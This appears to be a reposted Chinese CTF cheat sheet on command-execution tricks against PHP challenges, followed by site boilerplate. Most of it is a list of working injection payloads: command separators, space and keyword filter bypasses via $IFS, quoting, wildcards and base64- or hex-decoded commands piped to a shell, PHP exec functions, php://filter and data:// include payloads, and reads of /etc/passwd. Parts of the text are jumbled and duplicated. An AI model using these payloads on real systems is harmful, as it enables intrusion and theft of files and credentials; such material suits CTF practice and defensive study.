命令执行的常见姿势 命令执行的常见姿势 ?c=cat flag.php; ?c=tac flag.php|| ?c=tac=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入
?c=cat flag.php;
?c=tac flag.php||
?c=tac
?c=tac
tac
?c=tac
?c=tac
?c=tac
c=tac
?c=nl
?c=nl${IFS}fl’'ag.php||
?c=nl${IFS}fl’'ag.php
?c=/bin/c??${IFS}???
?c=system(“cat flag.php”);
?c=echo `ls`;
分隔符和空格被过滤,联合执行命令:
?ip=%0acd%09..%0als =?ip=;cd ..;ls
过滤目录分隔符**/**总结:
用反斜杠查看文件夹内容|ls \flag_is_here 或者直接|ls flag_is_here
分号同步执行cd和cat命令
127.0.0.1&cd flag_is_here;tac flag_224812813310817.PHP
竖线被过滤可以用分号代替
黑洞
system($c." >/dev/null 2>&1"); //黑洞尝试分号绕过payload:c=tac f*%26%26ls;
空格绕过方式
$IFS
$IFS$1
${IFS} – 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来
结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 – 后面加个$与{}类似,起截断作用,$9是当前系统shell
进程第九个参数持有者,始终为空字符串,如
cat$IFS2$9flag.php
< 比如cat <> 比如cat<>a.tct:表示cat a.txt {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20: 空格的URL编码 %09: 需要php环境,如cat%09flag.php 过滤空格常见绕过方式:1. 文件函数绕过: cat–由第一行开始显示内容,并将所有内容输出 tac–从最后一行倒序显示内容,并将所有内容输出 more– 根据窗口大小,一页一页的现实文件内容 **less **和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head– 只显示头几行 **tail **–只显示最后几行 **nl **–类似于cat -n,显示时输出行号 tailf– 类似于tail -f **vim **–使用vim工具打开文本 **vi **–使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出 sort 文件函数绕过: system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号**`` **同shell_exec() system(“cat /etc/passwd”)<=>“\x73\x79\x73\x74\x65\x6d”("cat /etc/passwd"); <=> (sy.(st).em)(“cat /etc/passwd”);<=> 命令执行函数绕过: **wh\o\ami ** //反斜线绕过 who"a"mi //双引号绕过 **whoa’m’i ** //单引号绕过 **whoam``i ** //反引号绕过 echo d2hvYW1p|base64 -d|sh #base64绕过,其中d2hvYW1p是whoami的base64编码 echo d2hvYW1p|base64 -d|bash #base64绕过,其中d2hvYW1p是whoami的base64编码 `echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令 echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码 //$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下: wh$1oami who$@ami whoa$*mi 过滤关键字段 **cat fl[abc]g.php ** //匹配[abc]中的任何一个 cat f[a-z]ag.txt //匹配a-z范围的任何字符 **cat fla* ** //用*匹配任意 a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php//内联执行 //正则 利用正则:比如要读取etc/passwd cat /???/??? cat /???/pass* cat /etc$u/passwd 绕过文件名通配符绕过,绕过重要字段: payload1:c=system(“nl fla???”); payload2:c=system(“nl fla*”); payload3:c=echo `nl fl’'ag.php`;或者c=echo `nl fl“”ag.php`; payload4:c=echo `nl fl\ag.php`;//转义字符绕 过 payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php payload6:c=eval($_GET[1]);&1=system(‘nl flag.php’); payload7:c=awk ‘{printf $0}’ flag.php|| 另类操作 c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php c=include$_GET[1]?>&1=data://text/plain, c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== 来源地址:https://blog.csdn.net/weixin_40103894/article/details/127081718c=data://text/plain;base64,PD9waHAGC3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==上面解码是<?php system('cat flag.php');?>
--结束END--
本文标题: CTF命令执行的常见姿势
本文链接: https://lsjlt.com/news/413359.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0